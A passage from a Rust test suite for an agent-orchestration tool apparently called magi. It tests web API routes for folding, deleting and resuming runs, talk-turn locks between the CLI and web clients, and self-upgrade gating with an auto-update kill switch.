21092            "the worktree this build could not read a state for still went"
21093        );
21094        assert!(
21095            !runs.join(id).exists(),
21096            "an unreadable run has no candidate list to fold selectively, so \
21097             the whole record goes - same as `magi fold` on the CLI"
21098        );
21099    }
21100
21101    #[tokio::test]
21102    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21103        let fx = Fixture::start().await;
21104        let runs = fx.runs();
21105        let wt = fx.home.path().join("wt").join("magi").join("gone");
21106        let id = "20260901-000000-gone";
21107        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21108        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21109        std::fs::create_dir_all(&wt).expect("worktree dir");
21110
21111        let res = fx.delete(&format!("/api/runs/{id}")).await;
21112        assert_eq!(res.status, 204, "{}", res.body);
21113        assert!(!runs.join(id).exists(), "the broken record is gone");
21114        assert!(!wt.exists(), "its worktree is gone too");
21115    }
21116
21117    #[tokio::test]
21118    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21119        let fx = Fixture::start().await;
21120        let runs = fx.runs();
21121        let id = "20260901-000000-live";
21122        write_run(&runs, id, RunStatus::Implementing);
21123
21124        let mut beat = crate::daemon::Status::new();
21125        beat.current = vec![crate::daemon::Current {
21126            task: "20260901-000000-task".to_owned(),
21127            run: id.to_owned(),
21128        }];
21129        beat.updated_at = jiff::Timestamp::now();
21130        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21131            .expect("publish a heartbeat");
21132
21133        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21134        assert_eq!(res.status, 409);
21135        assert!(
21136            res.json()["error"]
21137                .as_str()
21138                .unwrap()
21139                .contains("live daemon"),
21140            "folding under a running agent would pull its worktree away"
21141        );
21142    }
21143
21144    #[tokio::test]
21145    async fn fold_merged_requires_a_pr_url() {
21146        let fx = Fixture::start().await;
21147        let runs = fx.runs();
21148        let id = "20260901-000000-nourl";
21149        write_run(&runs, id, RunStatus::Blocked);
21150
21151        let res = fx
21152            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21153            .await;
21154        assert_eq!(res.status, 400, "{}", res.body);
21155
21156        let blank = fx
21157            .post(
21158                &format!("/api/runs/{id}/fold-merged"),
21159                Some(r#"{"pr_url":"   "}"#),
21160            )
21161            .await;
21162        assert_eq!(blank.status, 400, "{}", blank.body);
21163    }
21164
21165    #[tokio::test]
21166    async fn fold_merged_is_404_for_an_unknown_run() {
21167        let fx = Fixture::start().await;
21168        let res = fx
21169            .post(
21170                "/api/runs/nosuchrun/fold-merged",
21171                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21172            )
21173            .await;
21174        assert_eq!(res.status, 404, "{}", res.body);
21175    }
21176
21177    #[tokio::test]
21178    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21179        let fx = Fixture::start().await;
21180        let runs = fx.runs();
21181        let id = "20260901-000000-livemerge";
21182        write_run(&runs, id, RunStatus::Blocked);
21183
21184        let mut beat = crate::daemon::Status::new();
21185        beat.current = vec![crate::daemon::Current {
21186            task: "20260901-000000-task".to_owned(),
21187            run: id.to_owned(),
21188        }];
21189        beat.updated_at = jiff::Timestamp::now();
21190        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21191            .expect("publish a heartbeat");
21192
21193        let res = fx
21194            .post(
21195                &format!("/api/runs/{id}/fold-merged"),
21196                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21197            )
21198            .await;
21199        assert_eq!(res.status, 409, "{}", res.body);
21200        assert!(
21201            res.json()["error"]
21202                .as_str()
21203                .unwrap()
21204                .contains("live daemon"),
21205            "correcting a run's merge underneath a running agent would race \
21206             whatever it is doing to the same `status`/`merge` fields"
21207        );
21208    }
21209
21210    /// A pull request `gh` cannot even ask about (no such remote, no such
21211    /// repository) must never be recorded as a merge on a guess - the same
21212    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21213    /// command line, reached here through the phone route instead.
21214    #[tokio::test]
21215    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21216        let fx = Fixture::start().await;
21217        let runs = fx.runs();
21218        let id = "20260901-000000-unconfirmed";
21219        write_run(&runs, id, RunStatus::Blocked);
21220
21221        let res = fx
21222            .post(
21223                &format!("/api/runs/{id}/fold-merged"),
21224                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21225            )
21226            .await;
21227        assert_eq!(res.status, 400, "{}", res.body);
21228        assert_eq!(
21229            read_run(&runs, id).unwrap().status,
21230            RunStatus::Blocked,
21231            "a pull request that could not be confirmed merged must leave \
21232             the run exactly where it was"
21233        );
21234    }
21235
21236    #[tokio::test]
21237    async fn terminal_runs_cannot_be_resumed() {
21238        let fx = Fixture::start().await;
21239        let runs = fx.runs();
21240
21241        for (status, word) in [
21242            (RunStatus::Merged, "merged"),
21243            (RunStatus::Ready, "ready"),
21244            (RunStatus::Failed, "failed"),
21245        ] {
21246            let id = format!("20260901-000000-{}", &word[..4]);
21247            write_run(&runs, &id, status);
21248            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21249            assert_eq!(res.status, 409, "{word} must not be resumable");
21250        }
21251    }
21252
21253    #[tokio::test]
21254    async fn resume_is_refused_while_the_loop_is_running() {
21255        let fx = Fixture::start().await;
21256        let runs = fx.runs();
21257        let stalled = "20260901-000000-stal";
21258        write_run(&runs, stalled, RunStatus::Stalled);
21259
21260        // The loop is busy with a *different* run, and that is still a
21261        // refusal: a manual resume must never race whatever the loop itself
21262        // is already driving, whether that is one run or several.
21263        let mut beat = crate::daemon::Status::new();
21264        beat.current = vec![crate::daemon::Current {
21265            task: "20260901-000000-task".to_owned(),
21266            run: "20260901-000000-othr".to_owned(),
21267        }];
21268        beat.updated_at = jiff::Timestamp::now();
21269        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21270            .expect("publish a heartbeat");
21271
21272        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21273        assert_eq!(res.status, 409);
21274        let err = res.json()["error"].as_str().unwrap().to_owned();
21275        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21276        assert!(err.contains("stop it first"), "{err}");
21277    }
21278
21279    #[test]
21280    fn a_run_cannot_be_resumed_twice_at_once() {
21281        let home = TempDir::new().expect("temp home");
21282        let ui = Ui::new(
21283            Queue::at(home.path().join("queue")),
21284            Questions::at(home.path().join("questions")),
21285            Talks::at(home.path().join("talks")),
21286            home.path().join("runs"),
21287            home.path().to_path_buf(),
21288            PathBuf::from("/repo"),
21289        )
21290        .with_worktrees_root(home.path().join("wt"));
21291        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21292        let again = ui.begin_resume("20260901-000000-once");
21293        assert!(again.is_err(), "a second tap must not start a second graph");
21294        drop(first);
21295        assert!(
21296            ui.begin_resume("20260901-000000-once").is_ok(),
21297            "and the claim is released when the attempt ends"
21298        );
21299    }
21300
21301    #[test]
21302    fn talk_thinking_tracks_only_its_held_turn_claim() {
21303        let home = TempDir::new().expect("temp home");
21304        let ui = Ui::new(
21305            Queue::at(home.path().join("queue")),
21306            Questions::at(home.path().join("questions")),
21307            Talks::at(home.path().join("talks")),
21308            home.path().join("runs"),
21309            home.path().to_path_buf(),
21310            PathBuf::from("/repo"),
21311        )
21312        .with_worktrees_root(home.path().join("wt"));
21313        let id = "20260901-000000-once";
21314
21315        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21316        let turn = ui.begin_talk_turn(id).expect("claim turn");
21317        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21318        assert!(
21319            !ui.is_thinking("20260901-000000-other"),
21320            "one talk's turn does not make another talk busy"
21321        );
21322        drop(turn);
21323        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21324    }
21325
21326    #[test]
21327    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21328        let home = TempDir::new().expect("temp home");
21329        let talks = Talks::at(home.path().join("talks"));
21330        let ui = Ui::new(
21331            Queue::at(home.path().join("queue")),
21332            Questions::at(home.path().join("questions")),
21333            talks.clone(),
21334            home.path().join("runs"),
21335            home.path().to_path_buf(),
21336            PathBuf::from("/repo"),
21337        )
21338        .with_worktrees_root(home.path().join("wt"));
21339        let id = "20260901-000000-cross";
21340
21341        let other = Talks::at(home.path().join("talks"))
21342            .claim_turn(id)
21343            .expect("claim")
21344            .expect("the other process wins");
21345        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21346        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21347        assert!(
21348            matches!(
21349                ui.begin_talk_turn_unless_pending(id).expect("start"),
21350                TalkTurnStart::Foreign
21351            ),
21352            "a foreign holder is refused, not queued behind"
21353        );
21354        assert!(
21355            !ui.talk_turns.lock().unwrap().live.contains(id),
21356            "a refused claim leaves no in-process entry behind"
21357        );
21358        drop(other);
21359        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21360        assert!(talks.turn_held(id), "the web turn holds the lease");
21361        drop(turn);
21362        assert!(
21363            !talks.turn_held(id),
21364            "dropping the guard releases the lease"
21365        );
21366    }
21367
21368    fn consult_question(ui: &Ui) -> Question {
21369        let mut q = Question::new(
21370            "20260901-000000-consult".to_owned(),
21371            "implement".to_owned(),
21372            "impl-A".to_owned(),
21373            "Which backend?".to_owned(),
21374            String::new(),
21375            vec!["SQLite".to_owned(), "Redis".to_owned()],
21376        );
21377        ui.questions.put(&mut q).expect("question");
21378        q
21379    }
21380
21381    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21382        (
21383            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21384            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21385        )
21386    }
21387
21388    #[tokio::test]
21389    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21390        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21391        let q = consult_question(&ui);
21392        let talk = ui.talks.get(&id).expect("talk");
21393        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21394        let before = consult_snapshot(&ui, &q, &id);
21395        let cli_talks = Talks::at(ui.home.join("talks"));
21396        assert_eq!(
21397            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21398                .await
21399                .expect("CLI starter"),
21400            crate::consult::Started::Busy
21401        );
21402        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21403        assert!(ui.is_thinking(&id));
21404        drop(guard);
21405        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21406    }
21407
21408    #[tokio::test]
21409    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21410        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21411        let q = consult_question(&ui);
21412        let talk = ui.talks.get(&id).expect("talk");
21413        let started = tmp.path().join("started");
21414        let release = tmp.path().join("release");
21415        let script = tmp.path().join("consult-agent.sh");
21416        std::fs::write(
21417            &script,
21418            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21419        )
21420        .expect("script");
21421        let mut cfg = stub_config();
21422        cfg.agents[0].id = "mock".to_owned();
21423        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21424        cfg.agents[0].env = std::collections::BTreeMap::from([
21425            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21426            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21427        ]);
21428        let questions = ui.questions.clone();
21429        let cli_talks = Talks::at(ui.home.join("talks"));
21430        let cli_q = q.clone();
21431        let turn = tokio::spawn(async move {
21432            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21433        });
21434        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21435            while !started.exists() {
21436                tokio::time::sleep(Duration::from_millis(10)).await;
21437            }
21438        })
21439        .await;
21440        // Always release and join the agent, even if readiness or the web
21441        // request fails, so a failed assertion cannot leave a turn behind.
21442        let refusal = if ready.is_ok() {
21443            let before = consult_snapshot(&ui, &q, &id);
21444            let result = talk_say(
21445                State(Arc::clone(&ui)),
21446                Path(id.clone()),
21447                Ok(Json(NewTalkTurn {
21448                    reply_to: None,
21449                    text: "another message".to_owned(),
21450                    attachments: Vec::new(),
21451                })),
21452            )
21453            .await;
21454            Some((result, before, consult_snapshot(&ui, &q, &id)))
21455        } else {
21456            None
21457        };
21458        std::fs::write(&release, "").expect("release agent");
21459        let done = turn.await.expect("join CLI turn");
21460        ready.expect("agent started before deadline");
21461        let (result, before, after) = refusal.expect("web request");
21462        let error = result.expect_err("web must refuse the CLI's turn");
21463        assert_eq!(error.status, StatusCode::CONFLICT);
21464        assert!(error.message.contains("a turn is already running"));
21465        assert_eq!(
21466            after, before,
21467            "refusal preserves question, draft and history"
21468        );
21469        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21470        let guard = ui
21471            .begin_talk_turn(&id)
21472            .expect("web claim")
21473            .expect("free again");
21474        drop(guard);
21475    }
21476
21477    #[test]
21478    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21479        let home = TempDir::new().expect("temp home");
21480        let talks = Talks::at(home.path().join("talks"));
21481        let ui = Ui::new(
21482            Queue::at(home.path().join("queue")),
21483            Questions::at(home.path().join("questions")),
21484            talks.clone(),
21485            home.path().join("runs"),
21486            home.path().to_path_buf(),
21487            PathBuf::from("/repo"),
21488        )
21489        .with_worktrees_root(home.path().join("wt"));
21490        let id = "20260901-000000-order";
21491        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21492        // Hold the slot mutex so the drop can finish the lease but not the slot.
21493        let slots = ui.talk_turns.lock().unwrap();
21494        let dropper = std::thread::spawn(move || drop(turn));
21495        let start = std::time::Instant::now();
21496        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21497            std::thread::sleep(Duration::from_millis(5));
21498        }
21499        assert!(!talks.turn_held(id), "the lease is released first");
21500        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21501        drop(slots);
21502        dropper.join().expect("join");
21503        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21504    }
21505
21506    #[tokio::test]
21507    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21508        let fx = Fixture::start().await;
21509        let mut beat = crate::daemon::Status::new();
21510        beat.worker_protocol = None;
21511        beat.pid = 4321;
21512        beat.updated_at = jiff::Timestamp::now();
21513        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21514            .expect("publish a heartbeat");
21515
21516        let res = fx.post("/api/upgrade", None).await;
21517        assert_eq!(res.status, 409);
21518    }
21519
21520    /// [`should_spawn_recheck`] must refuse for the same two reasons
21521    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21522    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21523    /// Purely a predicate over config and the environment - no network, no
21524    /// disk, no runtime - so unlike the fixture-based tests around it this
21525    /// one needs neither.
21526    #[test]
21527    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21528        assert!(!should_spawn_recheck(&crate::config::Update {
21529            mode: UpdateMode::Off,
21530            interval: None,
21531        }));
21532
21533        // SAFETY: single-threaded as far as this variable goes, the same
21534        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21535        unsafe {
21536            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21537        }
21538        let killed = should_spawn_recheck(&crate::config::Update {
21539            mode: UpdateMode::Notify,
21540            interval: None,
21541        });
21542        unsafe {
21543            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21544        }
21545        assert!(
21546            !killed,
21547            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21548             one-time startup check"
21549        );
21550
21551        assert!(should_spawn_recheck(&crate::config::Update {
21552            mode: UpdateMode::Notify,
21553            interval: None,
21554        }));
21555    }
21556
21557    /// [`recheck_poll_period`] must track a configured `[update] interval`
21558    /// shorter than its own default ceiling - a fixed sleep here would leave
21559    /// an operator's short interval waiting on the next wake-up instead of on
21560    /// `should_check`, which is the same bug this whole task exists to fix,
21561    /// just one level down.
21562    #[test]
21563    fn recheck_poll_period_tracks_a_short_configured_interval() {
21564        let short = crate::config::Update {
21565            mode: UpdateMode::Notify,
21566            interval: Some("1m".to_owned()),
21567        };
21568        let period = recheck_poll_period(&short);
21569        assert!(
21570            period <= Duration::from_secs(30),
21571            "a one-minute interval must wake the task far sooner than the \
21572             default ceiling, or the deck would not notice within the \
21573             interval the operator configured: got {period:?}"
21574        );
21575
21576        let default = crate::config::Update {
21577            mode: UpdateMode::Notify,
21578            interval: None,
21579        };
21580        assert_eq!(
21581            recheck_poll_period(&default),
21582            UPDATE_RECHECK_POLL_MAX,
21583            "the default day-long interval should poll at the (capped) \
21584             ceiling rather than needlessly often"
21585        );
21586    }
21587
21588    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21589    /// same throttle `updater::Checker::should_check` already gives the
21590    /// CLI's notify mode. Built over an explicit state file via
21591    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21592    /// write the operator's real `last_update_check.json` - and therefore
21593    /// cannot flake on whatever that file happens to say on the machine
21594    /// running the test.
21595    #[test]
21596    fn recheck_skips_the_network_before_the_interval_elapses() {
21597        let dir = TempDir::new().expect("temp dir");
21598        let path = dir.path().join("state.json");
21599        let state = kaishin::UpdateCheckState {
21600            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21601            last_known_latest: None,
21602            last_known_url: None,
21603        };
21604        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21605
21606        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21607        assert!(
21608            !update_recheck_due(&checker, None),
21609            "a check made moments ago must not be repeated before the \
21610             configured interval elapses"
21611        );
21612    }
21613
21614    /// An upgrade this deck already started must not be raced by a recheck
21615    /// that discovers a newer release mid-install - regardless of what
21616    /// `should_check` says, which is why the state file here is missing
21617    /// entirely: read alone, that alone would answer "never checked, go
21618    /// ahead".
21619    #[test]
21620    fn recheck_defers_to_an_upgrade_already_in_flight() {
21621        let dir = TempDir::new().expect("temp dir");
21622        let path = dir.path().join("state.json");
21623        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21624        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21625
21626        assert!(
21627            !update_recheck_due(&checker, Some(&progress)),
21628            "a recheck must not run while an upgrade this deck started is \
21629             still moving"
21630        );
21631    }
21632
21633    #[tokio::test]
21634    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21635        // The same env var the background check honours (`disabled_by_env`)
21636        // must also stop a button press before it ever calls
21637        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
21638        // means "never contact GitHub from this process", and a tap on the
21639        // upgrade button must not override that any more than a broken
21640        // `magi.toml` may. Left unset, this fixture's default config would
21641        // otherwise reach a real, unauthenticated GitHub call.
21642        //
21643        // SAFETY: single-threaded as far as this variable goes - nothing else
21644        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
21645        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21646        unsafe {
21647            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21648        }
21649        let fx = Fixture::start().await;
21650        let res = fx.post("/api/upgrade", None).await;
21651        unsafe {
21652            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21653        }
21654        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21655        let body = res.json();
21656        assert!(body["to"].is_null(), "there was no release to move to");
21657        assert!(body["parked"].is_null(), "and nothing was parked");
21658        assert!(
21659            body["detail"]
21660                .as_str()
21661                .unwrap()
21662                .contains("disabled by MAGI_NO_AUTOUPDATE"),
21663            "{body:?}"
21664        );
21665    }
21666
21667    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21668        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21669        p.stage = stage;
21670        p
21671    }
21672
21673    #[test]
21674    fn busy_stages_match_the_ui_set() {
21675        use crate::updater::Stage;
21676        assert!(APP_JS.contains(
21677            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21678        ));
21679        for s in [
21680            Stage::Downloading,
21681            Stage::Replaced,
21682            Stage::Parking,
21683            Stage::Restarting,
21684        ] {
21685            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21686        }
21687        for s in [Stage::Done, Stage::Failed] {
21688            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21689        }
21690        assert!(upgrade_in_motion(None).is_none());
21691    }
21692
21693    #[tokio::test]
21694    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21695        use crate::updater::Stage;
21696        for stage in [
21697            Stage::Downloading,
21698            Stage::Replaced,
21699            Stage::Parking,
21700            Stage::Restarting,
21701        ] {
21702            let fx = Fixture::start().await;
21703            let seeded = seeded_progress(stage);
21704            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21705            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21706                .expect("read");
21707
21708            let res = fx.post("/api/upgrade", None).await;
21709            assert_eq!(res.status, 409, "{stage:?}");
21710            let err = res.json()["error"].as_str().unwrap().to_owned();
21711            assert!(err.contains("already in progress"), "{err}");
21712            assert!(err.contains(stage.as_str()), "{err}");
21713
21714            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21715                .expect("read");
21716            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21717            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21718                .unwrap_or_default();
21719            assert!(!log.contains("signalling HANDOVER"), "{log}");
21720        }
21721    }
21722
21723    #[test]
21724    fn upgrade_retry_timing_only_parses_known_diagnostics() {
21725        assert_eq!(
21726            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21727            Some(3723)
21728        );
21729        assert_eq!(
21730            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21731            Some(60)
21732        );
21733        assert_eq!(
21734            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21735            Some(0)
21736        );
21737        for message in [
21738            "permission denied",
21739            "GitHub API rate limit exceeded",
21740            "GitHub rate limit (resets in unknown)",
21741            "GitHub rate limit (resets in 18446744073709551615d)",
21742        ] {
21743            assert_eq!(upgrade_retry_after(message), None, "{message}");
21744        }
21745    }
21746
21747    #[tokio::test]
21748    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21749        let home = TempDir::new().unwrap();
21750        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21751        ui.start_loop(None).unwrap();
21752        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21753        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21754        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21755        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21756        let response = finish_upgrade_request(&ui, result);
21757        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21758        assert_eq!(response.headers()["retry-after"], "120");
21759        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21760            .await
21761            .unwrap();
21762        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21763        assert!(body["error"].as_str().unwrap().contains(reason));
21764        assert_eq!(body["retry_after_secs"], 120);
21765        assert!(body["retry_at"].as_u64().is_some());
21766        for _ in 0..2 {
21767            let view = health(State(ui.clone())).await.unwrap().0;
21768            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21769            assert_eq!(failure, body);
21770        }
21771        assert_eq!(
21772            std::fs::read(updater::progress_path(home.path())).unwrap(),
21773            before
21774        );
21775        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21776        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21777        // A conflicting request must not erase the actionable earlier failure.
21778        let gate = ui.upgrade_gate.lock().await;
21779        assert_eq!(
21780            upgrade_post(State(ui.clone())).await.status(),
21781            StatusCode::CONFLICT
21782        );
21783        drop(gate);
21784        assert!(
21785            health(State(ui.clone()))
21786                .await
21787                .unwrap()
21788                .0
21789                .upgrade_request_error
21790                .is_some()
21791        );
21792        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21793        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21794        assert!(
21795            health(State(ui.clone()))
21796                .await
21797                .unwrap()
21798                .0
21799                .upgrade_request_error
21800                .is_none()
21801        );
21802        let live = ui.lock_loop().live.take().unwrap();
21803        live.stop.stop();
21804        live.handle.await.unwrap();
21805    }
21806
21807    #[tokio::test]
21808    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21809        use crate::updater::Stage;
21810        let repo = TempDir::new().expect("repo dir");
21811        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21812            .expect("write magi.toml");
21813        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21814        for stage in [Stage::Done, Stage::Failed] {
21815            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21816            let res = fx.post("/api/upgrade", None).await;
21817            assert_eq!(res.status, 200, "{stage:?}");
21818        }
21819        // No record at all, and the gate was released by the earlier calls.
21820        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21821        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21822    }
21823
21824    #[tokio::test]
21825    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21826        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
21827        // and the route answers from its own logic.
21828        //
21829        // This test used to lean on the fixture's placeholder repo failing
21830        // config discovery, which left `mode = "notify"` - and a live,
21831        // unauthenticated call to the GitHub releases API inside a unit test.
21832        // GitHub allows 60 of those an hour per address, so the suite went red
21833        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
21834        // long as somebody kept re-running it: every attempt spent another
21835        // request. Six reruns across four pull requests were charged to that
21836        // before it was read as a rate limit rather than a flake.
21837        //
21838        // What the assertion is about is the "already current" branch, which
21839        // is reached by there being no newer release *or* nowhere to look. The
21840        // second one needs no network and cannot be rate limited.
21841        let repo = TempDir::new().expect("repo dir");
21842        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21843            .expect("write magi.toml");
21844        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21845
21846        // It must answer 200 and leave the process alone: restarting for an
21847        // upgrade that did not happen parks the run in flight and drops every
21848        // connection to pay for nothing. A probe against a deck already on the
21849        // newest build did exactly that, which is how this case got its own
21850        // branch.
21851        let res = fx.post("/api/upgrade", None).await;
21852        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21853        let body = res.json();
21854        assert!(body["to"].is_null(), "there was no release to move to");
21855        assert!(body["parked"].is_null(), "and nothing was parked");
21856        assert!(
21857            body["detail"]
21858                .as_str()
21859                .unwrap()
21860                .contains("nothing restarted"),
21861            "{body:?}"
21862        );
21863    }
21864
21865    #[tokio::test]
21866    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21867        // `mode = "off"` for the same reason as the test above: a default
21868        // fixture repo falls back to `mode = "notify"`, which would make this
21869        // route's new `update` field a live, unauthenticated GitHub call on
21870        // every assertion in this suite that happens to hit `/api/health`.
21871        let repo = TempDir::new().expect("repo dir");
21872        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21873            .expect("write magi.toml");
21874        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21875
21876        let health = fx.get("/api/health").await.json();
21877        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21878        assert_eq!(
21879            health["update"]["available"], false,
21880            "checking is off, which reads as \"unknown\", not \"none\""
21881        );
21882        assert!(health["update"]["to"].is_null());
21883        assert!(
21884            health["upgrade"].is_null(),
21885            "nothing has ever asked this deck to upgrade"
21886        );
21887    }
21888
21889    #[tokio::test]
21890    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21891        let fx = Fixture::start().await;
21892        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21893
21894        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21895        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21896        progress.advance(crate::updater::Stage::Parking);
21897        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21898
21899        let health = fx.get("/api/health").await.json();
21900        assert_eq!(health["upgrade"]["stage"], "parking");
21901        assert_eq!(health["upgrade"]["from"], "0.5.1");
21902        assert_eq!(health["upgrade"]["to"], "0.5.2");
21903        let waiting_on = health["upgrade"]["waiting_on"]
21904            .as_str()
21905            .expect("waiting_on is set while parking a known run");
21906        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21907        assert!(waiting_on.contains("implementing"), "{waiting_on}");
21908    }
21909
21910    #[tokio::test]
21911    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21912        let fx = Fixture::start().await;
21913        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21914        progress.advance(crate::updater::Stage::Done);
21915        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21916
21917        let health = fx.get("/api/health").await.json();
21918        assert_eq!(health["upgrade"]["stage"], "done");
21919        assert!(
